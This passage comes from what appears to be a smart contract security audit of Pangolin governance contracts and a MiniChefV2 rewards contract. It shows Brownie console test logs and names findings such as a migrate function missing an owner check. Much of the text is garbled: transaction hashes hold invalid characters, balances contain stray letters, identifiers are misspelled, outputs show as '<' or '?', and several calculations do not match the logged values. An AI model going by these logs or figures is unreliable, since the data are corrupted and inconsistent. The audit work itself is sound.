>>> Evg[0].getCurrentVotes(user2.address)
1000000000000000000000
>>> Evg[0].balanceOf(user2.address)
0
>>> Evg[0].transferFrom(user1.address, user3.address, 9999999999999999999999, {'from': user1.address})
Transaction sent: 0x7f6825bb4ecee8be5ca3fd277e5f0097111cd841ffad0e02f5b67bce9b252620
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 1
Evg.transferFrom confirmed Block: 13403783 Gas used: 90013 (1.34%)

<Transaction '0x7f6825bb4ecee8be5ca3fd277e5f0097111cd841ffad0e02f5b67bce9b252620'>
>>> Evg[0].getCurrentVotes(user2.address)
1000000000000000000000
>>> Evg[0].transferFrom(owner.address, user1.address, 12345)
Transaction sent: 0xcfac929324cc00d7515e32e54cef3fb993e599e68fd1c5a7149b05c62702e6816
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 13
Evg.transferFrom confirmed Block: 13403784 Gas used: 74903 (1.11%)

<Transaction '0xcfac929324cc00d7515e32e54cef3fb993e599e68fd1c5a7149b05c62702e6816'>
>>> Evg[0].getCurrentVotes(user2.address)
12345
```

## 4.8 PANGOLINVOTECALCULATOR CONTRACT

The contract `PangolinVoteCalculator` contains 3 view functions and a setter function that can only be called by the owner of the contract to change the address of the Liquidity Pool Manager:

- `getVotesFromFarming()`
- `getVotesFromStaking()`
- `getVotesFromWallets()`
- `changeLiquidityPoolManager()` - onlyOwner

We can see below how the view functions are working correctly:

```
>>> owner.deploy(StakingRewards, lpToken.address, Png[0].address)
Transaction sent: 0x2ef207aa7964c7f103acc70e3cc2b77a0b093aa70f8523f54ab0ebc5bb318984
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 10
StakingRewards.constructor confirmed Block: 13409230 Gas used: 1556941 (23.16%)
StakingRewards deployed at: 0x14f8a88A049247B61c5E5D1fF31B158a1669044f

<StakingRewards Contract '0x14f8a88A049247B61c5E5D1fF31B158a1669044f'>
>>> Png[0].transfer(user1.address, 1000000000000000000123)
Transaction sent: 0x47388bd265ded882af9f0780c02d781e6953a25cf0cead16edbf98eef3a24ef
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 11
Png.transfer confirmed Block: 13409231 Gas used: 55746 (0.83%)

<Transaction '0x47388bd265ded882af9f0780c02d781e6953a25cf0cead16edbf98eef3a24ef'>
>>> Png[0].approve(StakingRewards[0].address, 1000000000000000000123, {'from': user1.address})
Transaction sent: 0x55dc4e7bc9b8d122a53c6d9dbbe2dc06d7bf4726a94c9bc2f2e857d66c8cce37
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 0
Png.approve confirmed Block: 13409232 Gas used: 45610 (0.68%)

<Transaction '0x55dc4e7bc9b8d122a53c6d9dbbe2dc06d7bf4726a94c9bc2f2e857d66c8cce37'>
>>> StakingRewards[0].stake(1000000000000000000123, {'from': user1})
Transaction sent: 0x0ae8281c33fec30a1f303eb014e3ef4d459565e79fc574cab70bbcfefa964b7d4
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 1
StakingRewards.stake confirmed Block: 13409233 Gas used: 96340 (1.43%)

<Transaction '0x0ae8281c33fec30a1f303eb014e3ef4d459565e79fc574cab70bbcfefa964b7d4'>
>>> owner.deploy(PangolinVoteCalculator, Png[0].address, LiquidityPoolManager[0].address)
Transaction sent: 0x846d9bccc87ecde06c38f5da50f6aac587fa251a
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 12
PangolinVoteCalculator.constructor confirmed Block: 13409234 Gas used: 862417 (12.83%)
PangolinVoteCalculator deployed at: 0x846d9bccc87ecde06c38f5da50f6aac587fa251a

<PangolinVoteCalculator Contract '0x846d9bccc87ecde06c38f5da50f6aac587fa251a'>
>>> PangolinVoteCalculator[0].getVotesFromStaking(user1.address, [StakingRewards[0].address])
1000000000000000000123

>>> Png[0].transfer(user1.address, 1000000000000000000123)
Transaction sent: 0x40f4638d9b1c7b3b55a8569a2414ba9865195e6c9c94a6ec67f613b0d4060e
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 14
Png.transfer confirmed Block: 13409239 Gas used: 86300 (1.28%)

<Transaction '0x40f4638d9b1c7b3b55a8569a2414ba9865195e6c9c94a6ec67f613b0d4060e'>
>>> Png[0].getCurrentVotes(user1.address)
1000000000000000000123

>>> PangolinVoteCalculator[0].getVotesFromWallets(user1.address)
1000000000000000000123
```

## 4.9 MINICHEFV2 CONTRACT

The contract `MiniChefV2` is based on [SushiSwap's MiniChefV2 contract](#) and contains the following functions:

- `poolLength()` - view
- `isFunder()` - view
- `addPool()` (onlyOwner)
- `addPools()` (onlyOwner)
- `add()` - internal
- `setPool()` (onlyOwner)
- `setPools()` (onlyOwner)
- `set()` - internal
- `setMigrator()` (onlyOwner)
- `disableMigrator()` (onlyOwner)
- `migrate()`
- `pendingSushi()` - view
- `massUpdatePools()`
- `massUpdateAllPools()`
- `updatePool()`
- `deposit()`
- `withdraw()`
- `harvest()`
- `withdrawAndHarvest()`
- `emergencyWithdraw()`
- `addFunder()` (onlyOwner)
- `removeFunder()` (onlyOwner)
- `fundRewards()` (onlyOwner)
- `resetRewardsDuration()` (onlyOwner)
- `extendRewardsViaFunding()`
- `extendRewardsViaDuration()`

During the manual testing phase in the `MiniChefV2` contract the following issues were found:

- REWARD PERIOD CAN BE EXTENDED INDEFINITELY



- INCORRECT LOGIC IN MINICHEFV2 LEADS TO DOS
- FUNCTION MIGRATE MISSING ONLYOWNER MODIFIER
- IMPRECISION IN REWARD DISTRIBUTION

## Test 1: addPool(), addPools(), setPool()and setPools()

The function `addPool` is used to add a single reward pool.

```
>>> minichef.poolLength()
<
>>> minichef.addPool(100, lpoken.address, rewarder1.address)
Transaction sent: 0xe51d7426ebaf997e14074447e704b5f4e27a5f9221c4d1909a014fe0cf3d4'
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 6
MiniChefV22.addPool confirmed Block: 13411304 Gas used: 195611 (2.91%)

<Transaction '0xe51d7426ebaf997e14074447e704b5f4e27a5f9221c4d1909a014fe0cf3d4'>
>>> minichef.poolLength()
<
```

Every time this function is called all the pools are upgraded which means that the gas costs for calling this function will increase the more pools there are in the contract, although after doing some tests we can see that the gas costs increases very slowly, just by **15913** GWEI every time a new pool is added.

```
>>> lpoken4 = owner.deploy(lpToken)
Transaction sent: 0x26638ab4f4c227b0a0710162ceed47fba219854e9113509a01751a2857d9183
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 12
lpToken.constructor confirmed Block: 13411310 Gas used: 905354 (13.47%)
lpToken deployed at: 0x3835471c77b4Ab7930f767C51AE0194362937D62

>>> minichef.addPool(100, lpoken4.address, rewarder1.address)
Transaction sent: 0x0c82b06fcb24893334d165454474a0869a0e4c2ace277f40c93bc068818d3b8
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 13
MiniChefV22.addPool confirmed Block: 13411311 Gas used: 183348 (2.73%)

<Transaction '0xc0c2b06fcb24893334d165454474a0869a0e4c2ace277f40c93bc068818d3b8'>
>>> lpoken5 = owner.deploy(lpToken)
Transaction sent: 0x407dd374a2f08ee252f3fda21d7b7882aeb880f94e991d2aeeaa661c2aae6
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 14
lpToken.constructor confirmed Block: 13411312 Gas used: 905354 (13.47%)
lpToken deployed at: 0x6e5715be2942e346548B5228bc3418D66389a4d

>>> minichef.addPool(100, lpoken5.address, rewarder1.address)
Transaction sent: 0xf337ad77b92a2d981fe0f0bde105db6009c994515811e186bf9ed7b1fd250
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 15
MiniChefV22.addPool confirmed Block: 13411313 Gas used: 189261 (2.96%)

<Transaction '0xf337ad77b92a2d981fe0f0bde105db6009c994515811e186bf9ed7b1fd250'>
>>> lpoken6 = owner.deploy(lpToken)
Transaction sent: 0x3c414f498076314e14449d763bdf2de977c8448ac3baclf9307e1977974aa0d8
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 16
lpToken.constructor confirmed Block: 13411314 Gas used: 905354 (13.47%)
lpToken deployed at: 0x439de2d531E48992790934c2562c57bd10d9351c

>>> minichef.addPool(100, lpoken6.address, rewarder1.address)
Transaction sent: 0x4cfa28e76b51085d58eb917864d6e4e4bba9b4257cde4de174720ed76679691
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 17
MiniChefV22.addPool confirmed Block: 13411315 Gas used: 215174 (3.20%)

<Transaction '0x4cfa28e76b51085d58eb917864d6e4e4bba9b4257cde4de174720ed76679691'>
>>> lpoken7 = owner.deploy(lpToken)
Transaction sent: 0x218d4e9d947f19c418e8f13e4d301b7d6701736e8b976c478d7ald66770c9e7
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 18
lpToken.constructor confirmed Block: 13411316 Gas used: 905354 (13.47%)
lpToken deployed at: 0xb57127a3dE75858FB1604ab8A19255654b402C12

>>> minichef.addPool(100, lpoken7.address, rewarder1.address)
Transaction sent: 0x992d94f33a424163ae6f91462c4dacde4bf0ab162299c1442d86f32fb7e93ed7'
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 19
MiniChefV22.addPool confirmed Block: 13411317 Gas used: 231087 (3.44%)

<Transaction '0x992d94f33a424163ae6f91462c4dacde4bf0ab162299c1442d86f32fb7e93ed7'>
>>> 231087 - 215174
15913
>>> 215174 - 199261
15913
>>> minichef.poolLength()
?
<
```

We can also see how calling the `addPools` function is working as expected:

```
>>> minichef.addPools([100, 100, 100, 100, 100, 100, 100], [lpoken1.address, lpoken2.address, lpoken3.address, lpoken4.address, lpoken5.address, lpoken6.address, lpoken
address, rewarder1.address, rewarder1.address, rewarder1.address, rewarder1.address])
Transaction sent: 0x34049ef5d73f167278bb5a83664740927084f88c5135337e091edf8ff37540
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 10
MiniChefV22.addPools confirmed Block: 13411361 Gas used: 773506 (11.51%)

<Transaction '0x34049ef5d73f167278bb5a83664740927084f88c5135337e091edf8ff37540'>
>>> minichef.totalAllocPoint()
700
>>> minichef.poolLength()
<
>>> minichef.poolInfo(2)
(0, 1634189438, 100)
<
```

Calling `setPool` with the parameter `overwrite` as `False` will not update the rewarder address as seen below:

```
>>> minichef.setPool(0, 999, "0x0000000000000000000000000000000000000000000000000000000000000000", False)
Transaction sent: 0x60e39ab56f81fc3871dca92a3a2958b77c922ee9a57269e38ceebda58b241c29
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 11
MinichefV22.setPool confirmed Block: 13411462 Gas used: 149585 (2.23%)

<Transaction '0x60e39ab56f81fc3871dca92a3a2958b77c922ee9a57269e38ceebda58b241c29'>
>>> minichef.poolInfo(0)
(0, 163414862, 999)
>>> minichef.rewarder(0)
'0x0000000000000000000000000000000000000000000000000000000000000000'
>>> minichef.rewarder(1)
'0x0000000000000000000000000000000000000000000000000000000000000000'
>>> minichef.setPool(0, 999, "0x0000000000000000000000000000000000000000000000000000000000000000", True)
Transaction sent: 0x1cbbf903b76156b0fccc49c29c24a1c96b8de72b6d6822c8ad275da64a1484db3
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 12
MinichefV22.setPool confirmed Block: 13411463 Gas used: 150454 (2.24%)

<Transaction '0x1cbbf903b76156b0fccc49c29c24a1c96b8de72b6d6822c8ad275da64a1484db3'>
>>> minichef.rewarder(0)
'0x0000000000000000000000000000000000000000000000000000000000000000'
```

`setPools` implements exactly the same functionality correctly:

```
minichef.poolInfo(0) -> (0, 1634150872, 100)
minichef.rewarder(0) -> 0x393b851ae581a4225e89f251a135ef2f91e912f
minichef.poolInfo(1) -> (0, 1634150872, 100)
minichef.rewarder(1) -> 0x393b851ae581a4225e89f251a135ef2f91e912f
minichef.poolInfo(2) -> (0, 1634150872, 100)
minichef.rewarder(2) -> 0x393b851ae581a4225e89f251a135ef2f91e912f
>>> minichef.setPools([0,1,2], [1001, 1002, 1003], ["0x0000000000000000000000000000000000000000000000000000000000000000", "0x0000000000000000000000000000000000000000000000000000000000000000", "0x0000000000000000000000000000000000000000000000000000000000000000"], [False, False, True])
Transaction sent: 0x89234847404eb02078ab5f500f7e6d6d7aad7f781dfc0799e85a11d1dea9fb6
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 19
MinichefV22.setPools confirmed Block: 13411633 Gas used: 179678 (2.67%)

<Transaction '0x89234847404eb02078ab5f500f7e6d6d7aad7f781dfc0799e85a11d1dea9fb6'>
>>> output.redd("minichef.poolInfo(0) -> " + str(minichef.poolInfo(0)))
output.redd("minichef.rewarder(0) -> " + str(minichef.rewarder(0)))
output.redd("minichef.poolInfo(1) -> " + str(minichef.poolInfo(1)))
output.redd("minichef.rewarder(1) -> " + str(minichef.rewarder(1)))
output.redd("minichef.poolInfo(2) -> " + str(minichef.poolInfo(2)))
output.redd("minichef.rewarder(2) -> " + str(minichef.rewarder(2)))
minichef.poolInfo(0) -> (0, 1634150879, 1001)
minichef.rewarder(0) -> 0x393b851ae581a4225e89f251a135ef2f91e912f
minichef.poolInfo(1) -> (0, 1634150879, 1002)
minichef.rewarder(1) -> 0x393b851ae581a4225e89f251a135ef2f91e912f
minichef.poolInfo(2) -> (0, 1634150879, 1003)
minichef.rewarder(2) -> 0x0000000000000000000000000000000000000000000000000000000000000000'
```

Test 2: `setMigrator()`, `disableMigrator()` and `migrate()`

These functions allow migrating LP tokens to another LP contract through the `migrator` contract, for example, [SushiRoll contract](#).

The `migrate` function essentially:

- Remove liquidity from one contract.
- Add liquidity in other contract.

After doing some testing, we noticed that anyone is able to call the `migrate` function once `setMigrator` has been called previously by an admin. See vulnerability `FUNCTION MIGRATE MISSING ONLYOWNER MODIFIER`.



Test 4: harvest(), 1 pool, 100% of the allocPoints, 1 user

In this test case, there is just one pool in the contract. In the pool only the user1 has deposited 1000 tokens.

As we can see the user1 receives the 100% of the reward amount, although there is a little imprecision:

```
Adding 1 pool in MiniChefV2 -> minichef.addPool(100, lpToken1.address, rewarder1.address)
Transaction sent: 0x2cbf925c85504819b5753f701d15ef998d97fa57f98e57f635ae57df4e4d2a3
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 16
MiniChefV2.addPool confirmed Block: 13415823 Gas used: 195611 (2.91%)

minichef.totalAllocPoint() -> 100
minichef.poolInfo(0) -> (0, 1634208067, 100)
Transaction sent: 0x80e45e5aed820f156f1e41549a5aaba00cb379e139c61a9d12334eb224cf2e59
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 17
SUSHI.approve confirmed Block: 13415824 Gas used: 44186 (0.66%)

Transaction sent: 0x809ee999d7c4d8a6c046b88e5cdeda5fb11e9f0cb90f27dc3998dd8a0194ebf
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 18
SUSHI.transfer confirmed Block: 13415825 Gas used: 36075 (0.54%)

minichef.sushiPerSecond() -> 0
Calling -> minichef.fundRewards(1000000000000000000, 96400, ('from': owner.address))
Transaction sent: 0x73889977b637baaad23f8e727df9ac9af4b450bde15bfa9d4dadca4217b08828
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 19
MiniChefV2.fundRewards confirmed Block: 13415826 Gas used: 92021 (1.37%)

minichef.sushiPerSecond() -> 11574074074074
Transaction sent: 0x7be57f881009d98d21f3e3300e7e6af987298afb58bfa1af210bfa8d08a3b
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 0
lpToken.approve confirmed Block: 13415827 Gas used: 44126 (0.66%)

Transaction sent: 0xae4b3475334d8acd59956fed2c727e7254712dc4adbbee2dffb3644ad60a14d
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 1
MiniChefV2.deposit confirmed Block: 13415828 Gas used: 89855 (1.34%)

Sleeping 86401 seconds...
lpToken1.balanceOf(user1.address) -> 0
sushi.balanceOf(user1.address) -> 0

Transaction sent: 0xae4fa6601d16a29a7524d87fa916090ac780f390d0296261e3e88608ee617a26d
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 2
MiniChefV2.withdrawAndHarvest confirmed Block: 13415830 Gas used: 56615 (0.84%)

lpToken1.balanceOf(user1.address) -> 1000
sushi.balanceOf(user1.address) -> 99988425925919526
>>> 99988425925919526 / 10000000000000000
1.999884259259195
```

Test 5: harvest(), 2 pools, 50/50 of the allocPoints, 1 user that just deposited in one pool

In this test case, there are two pools in the contract, both with the same `allocPoints`. In the pool0 the user1 has deposited 1000 tokens. In the pool1 no tokens has been deposited.

```

Adding 2 pools in MiniChefV2:
1st pool -> minichef.addPool(100, lptoken1.address, rewarder1.address)
2nd pool -> minichef.addPool(100, lptoken2.address, rewarder1.address)
Transaction sent: 0x75aa7892b97f6de3e43a81d197fbc912835f7b751b43dd30b8e59c2a15039a
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 17
MiniChefV2.addPool confirmed Block: 13416124 Gas used: 195599 (2.91%)

Transaction sent: 0x3817e236156bc76203baaa3d5e4a6b7fdb2ddab558039d9e99ee0c80b732
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 18
MiniChefV2.addPool confirmed Block: 13416125 Gas used: 151523 (2.25%)

minichef.totalAllocPoint() -> 200
minichef.poolInfo(0) -> (0, 1634211812, 100)
Transaction sent: 0xc31062f982b2e67902549ff18e9065a28443060eb00261834c6fcd18068e066
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 19
SUSHI.approve confirmed Block: 13416126 Gas used: 44186 (0.66%)

Transaction sent: 0xdffeeebc4f3b25db8d9a4e6a8a6d46365bd69969c7fa4f357151227fcaaac9
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 20
SUSHI.transfer confirmed Block: 13416127 Gas used: 36075 (0.54%)

minichef.sushiPerSecond() -> 0
Calling -> minichef.fundRewards(1000000000000000000, 86400, ('from': owner.address))
Transaction sent: 0x0443bc16db156cc9123bbec7484876aa406a66baa4afa827cc3a97349967ae55
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 21
MiniChefV2.fundRewards confirmed Block: 13416128 Gas used: 107934 (1.61%)

minichef.sushiPerSecond() -> 11574074074074
Transaction sent: 0x70baa25d5fe6054ef8889cd4f201ee4b79c2156b7dbd48eb353bc58d22fd0c04
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 0
lptoken.approve confirmed Block: 13416129 Gas used: 44126 (0.66%)

Transaction sent: 0x5e8e0a92fbc7abecab068d1e431c0271f5d77fee51e4148c1bbff05e2b1ffa
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 1
MiniChefV2.deposit confirmed Block: 13416130 Gas used: 89855 (1.34%)

Sleeping 8640 seconds...
lptoken1.balanceOf(user1.address) -> 0
sushi.balanceOf(user1.address) -> 0
Call -> minichef.withdrawAndHarvest(0, 1000, user1.address, ('from': user1.address))
Transaction sent: 0x7a88b3d30cc49984079063864e4e90b34d0eb2ebf50e0a270d955f0407ec300cc
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 2
MiniChefV2.withdrawAndHarvest confirmed Block: 13416132 Gas used: 56615 (0.84%)

lptoken1.balanceOf(user1.address) -> 1000
sushi.balanceOf(user1.address) -> 498994212562859763

```

User1 receives the 50% of the reward tokens as expected.

## Test 6: harvest(), 2 pools, 50/50 of the allocPoints, 2 users

In this test case, there are two pools in the contract, both with the same `allocPoints`. In the pool0 the user1 has deposited 1000 tokens. In the pool1 the user2 has also deposited 1000 tokens.

```

Adding 2 pools in MiniChefV2:
1st pool -> minichef.addPool(100, lptoken1.address, rewarder1.address)
2nd pool -> minichef.addPool(100, lptoken2.address, rewarder1.address)
Transaction sent: 0x6ca8382ad998be20847f26d6606bc7a56b220e433dfe2075a360a598a3aff4
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 17
MiniChefV2.addPool confirmed Block: 13415824 Gas used: 195611 (2.91%)

Transaction sent: 0x4e3b46de58972bf3203bb424f344928b8b430b329c7db3328675b3e5297b893f
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 19
MiniChefV2.addPool confirmed Block: 13415825 Gas used: 137681 (2.05%)

minichef.totalAllocPoint() -> 200
minichef.poolInfo(0) -> (0, 1634208931, 100)
Transaction sent: 0x7059c0c1094d48615197a464506516a1e5d77796758f67bf39f194cod1244ef6
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 19
SUSHI.approve confirmed Block: 13415826 Gas used: 44186 (0.66%)

Transaction sent: 0x3b19d0431e221a19e074a5186d83093a6cf98be030d9dde98ca022f01c7e7de6
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 20
SUSHI.transfer confirmed Block: 13415827 Gas used: 36075 (0.54%)

minichef.sushiPerSecond() -> 0
Calling -> minichef.fundRewards(1000000000000000000, 86400, {'from': owner.address})
Transaction sent: 0xe3eb75f99a41556b177e5e4795a8e2f38d656b6558e577c76a4de2d478ac739d
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 21
MiniChefV2.fundRewards confirmed Block: 13415828 Gas used: 107934 (1.61%)

minichef.sushiPerSecond() -> 11574074074074
Transaction sent: 0x7be57f81009d95d21f3e3300e7a6af987298af55bbfafa210bfab48d08a3b
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 0
lpToken.approve confirmed Block: 13415829 Gas used: 44126 (0.66%)

Transaction sent: 0xae4b3475339d9d9d59856fed2c727e7254712dc4ddbbee2dffb3644ad60a14d
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 1
MiniChefV2.deposit confirmed Block: 13415830 Gas used: 89855 (1.34%)

Transaction sent: 0x902f00405198e5372fe2994f9f5f5fb91b74a7c807cef0f0265b13a97bb1bf
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 0
lpToken.approve confirmed Block: 13415831 Gas used: 44126 (0.66%)

Transaction sent: 0x10d38c894fd00704722a1facbe029a5447e530c132fbbc98fb58f57fe76a4a
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 1
MiniChefV2.deposit confirmed Block: 13415832 Gas used: 79067 (1.18%)

Sleeping 86401 seconds...
lpToken1.balanceOf(user1.address) -> 0
sushi.balanceOf(user1.address) -> 0
lpToken2.balanceOf(user2.address) -> 0
sushi.balanceOf(user2.address) -> 0
Call -> minichef.withdrawAndHarvest(0, 1000, user1.address, {'from': user1.address})
Transaction sent: 0xaeaf6e01d16a29a7524d87fa916090ac780f390d0296261e3e88608e6617a26d
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 2
MiniChefV2.withdrawAndHarvest confirmed Block: 13415834 Gas used: 56615 (0.84%)

Call -> minichef.withdrawAndHarvest(1, 1000, user2.address, {'from': user2.address})
Transaction sent: 0x181538444ad69078ba2ef22534912ed35df643642f06810fcd35c40df1bd9b80
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 2
MiniChefV2.withdrawAndHarvest confirmed Block: 13415835 Gas used: 56621 (0.84%)

lpToken1.balanceOf(user1.address) -> 1000
sushi.balanceOf(user1.address) -> 4999942129c2859763
lpToken2.balanceOf(user2.address) -> 1000
sushi.balanceOf(user2.address) -> 4999942129c2859763

```

User1 receives the 50% of the reward tokens and same for the user2 as expected.



Test 7: harvest(), 2 pools, 66/33 of the allocPoints, 2 users

In this test case, there are two pools in the contract, pool0 with 66 allocPoints and pool1 with 33 allocPoints. In the pool0 the user1 has deposited 1000 tokens. In the pool1 the user2 has also deposited 1000 tokens.

```

Adding 2 pools in MiniChefV2:
1st pool -> minichef.addPool(66, lptoken1.address, rewarder1.address)
2nd pool -> minichef.addPool(33, lptoken2.address, rewarder1.address)
Transaction sent: 0x89f4d7a551c571f812c3ea045918bc70b92c770dfe890f632357e195b17597a0
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 17
MiniChefV2.addPool confirmed Block: 13415824 Gas used: 195611 (2.91%)

Transaction sent: 0x039d05e6a5f5633921b24e1cbbf3000e61955c69372ae1ea51b404afcc0e6
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 18
MiniChefV2.addPool confirmed Block: 13415825 Gas used: 151523 (2.25%)

minichef.totalAllocPoint() -> 99
minichef.poolInfo(0) -> (0, 1634209054, 66)
Transaction sent: 0x7059c9c1094d48615197a464506516ale5d77796758f67bf39f194cd1244ef6
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 19
SUSHI.approve confirmed Block: 13415826 Gas used: 44186 (0.66%)

Transaction sent: 0x3b19d491e221a19e074a5186d9309a3c6f9b0e030d9de98ca022f01c7e7de6
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 20
SUSHI.transfer confirmed Block: 13415827 Gas used: 36075 (0.54%)

minichef.sushiPerSecond() -> 0
Calling -> minichef.fundRewards(100000000000000000, 86400, {'from': owner.address})
Transaction sent: 0xe7eb75892a41554b177e5e97958a9e2f39865b6b6558e977c76a4dc2d470ac793d
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 21
MiniChefV2.fundRewards confirmed Block: 13415828 Gas used: 80244 (1.19%)

minichef.sushiPerSecond() -> 11574074074074
Transaction sent: 0x7be57581009d99db1f9e3300e7a6a6987298afb55bbfafa210bfa48d08a3b
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 0
lptoken.approve confirmed Block: 13415829 Gas used: 44126 (0.66%)

Transaction sent: 0xae4b3475334ddacd59856fed2c727e7254712dc4ddbbee2ddf1b3644ad60a14d
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 1
MiniChefV2.deposit confirmed Block: 13415830 Gas used: 89855 (1.34%)

Transaction sent: 0x902f00405198ee3372e2994f9ff5fb91b74a7c807c9ef0f8265b13a97bb1bfa
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 0
lptoken.approve confirmed Block: 13415831 Gas used: 44126 (0.66%)

Transaction sent: 0x10d38c89fd0070472241fac2be029a5447e530c132fbc98fb58f57fe76a4a
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 1
MiniChefV2.deposit confirmed Block: 13415832 Gas used: 79067 (1.18%)

Sleeping 86401 seconds...
lptoken1.balanceOf(user1.address) -> 0
sushi.balanceOf(user1.address) -> 0
lptoken2.balanceOf(user2.address) -> 0
sushi.balanceOf(user2.address) -> 0
Call -> minichef.withdrawAndHarvest(0, 1000, user1.address, {'from': user1.address})
Transaction sent: 0xae4e601d16a29a7824d87fa916090ac700c390d2962e1e3e88c08e6c17a26d
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 2
MiniChefV2.withdrawAndHarvest confirmed Block: 13415834 Gas used: 56615 (0.84%)

Call -> minichef.withdrawAndHarvest(1, 1000, user2.address, {'from': user2.address})
Transaction sent: 0x1b1538444de9978be2ef2234912ed35df643642f06b10fcd35c40df1bd9b80
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 2
MiniChefV2.withdrawAndHarvest confirmed Block: 13415835 Gas used: 56621 (0.84%)

lptoken1.balanceOf(user1.address) -> 1000
sushi.balanceOf(user1.address) -> 66265950617275684
lptoken2.balanceOf(user2.address) -> 1000
sushi.balanceOf(user2.address) -> 333325617283948484

```

User1 receives the 66% of the reward tokens and the user2 the 33% as expected.

Test 8: harvest(), 2 pools, 50/50 of the allocPoints, 2 users, different deposits

In this test case, there are two pools in the contract, both with the same `allocPoints`. In the pool0 the user1 has deposited 1000 tokens. In the pool0 the user2 has also deposited 500 tokens. In the pool1 no tokens were deposited.

```

Adding 2 pools in MiniChefV2:
1st pool -> minichef.addPool(100, lptoken1.address, rewarder1.address)
2nd pool -> minichef.addPool(100, lptoken2.address, rewarder1.address)
Transaction sent: 0x755a4a7c51db970dc3af5a1d497fbc812535fb751543ad30b9e59c2a150394
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 17
MiniChefV2.addPool confirmed Block: 13416124 Gas used: 195599 (2.91%)

Transaction sent: 0x3817e236156bc76200baea3d5e4fa697fd9b2ddab558039d9a99ee0ce0b0732
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 18
MiniChefV2.addPool confirmed Block: 13416125 Gas used: 137681 (2.05%)

minichef.totalAllocPoint() -> 200
minichef.poolInfo(0) -> (0, 1634213250, 100)
Transaction sent: 0x63106f8989d9e67992549ff48e9065a284430608e00261834c6fcd18068e866
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 19
SUSHI.approve confirmed Block: 13416126 Gas used: 44186 (0.66%)

Transaction sent: 0xkdffeeebc4f3b25db8d9a4e6a8a6d46365bd69969c7fa44f357151227fc4a9c9
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 20
SUSHI.transfer confirmed Block: 13416127 Gas used: 36075 (0.54%)

minichef.sushiPerSecond() -> 0
Calling -> minichef.fundRewards(1000000000000000000, 66400, ('from': owner.address))
Transaction sent: 0x04949cc16b156cc91230bccc7484976aa00a66baa4afa27cc3a97349967ae55
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 21
MiniChefV2.fundRewards confirmed Block: 13416128 Gas used: 107934 (1.61%)

minichef.sushiPerSecond() -> 11574074074074
Transaction sent: 0x70baa25d3fe6054ef8889cd5f301ee4b79c2156b7dbd48eb353bc58d22fd0c04
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 0
lptoken.approve confirmed Block: 13416129 Gas used: 44126 (0.66%)

Transaction sent: 0x5e8e0a92f8ebabecab066d16431c0271f5d77zee51e4148c1bbff05e2b1ffa
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 1
MiniChefV2.deposit confirmed Block: 13416130 Gas used: 89855 (1.34%)

Transaction sent: 0x11b2c07655a39e2dd9ca01e4baed15eb87e2cfc9b89e693128d390e9d0c6e9e
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 0
lptoken.approve confirmed Block: 13416131 Gas used: 44126 (0.66%)

Transaction sent: 0x3e75db4787ea956688512914b26bce480b0e0f9905c78b5ac109407ed00c3e
Gas price: 0.0 gwei Gas limit: 6721975 Nonce: 1
MiniChefV2.deposit confirmed Block: 13416132 Gas used: 50212 (0.75%)

Sleeping 86401 seconds...
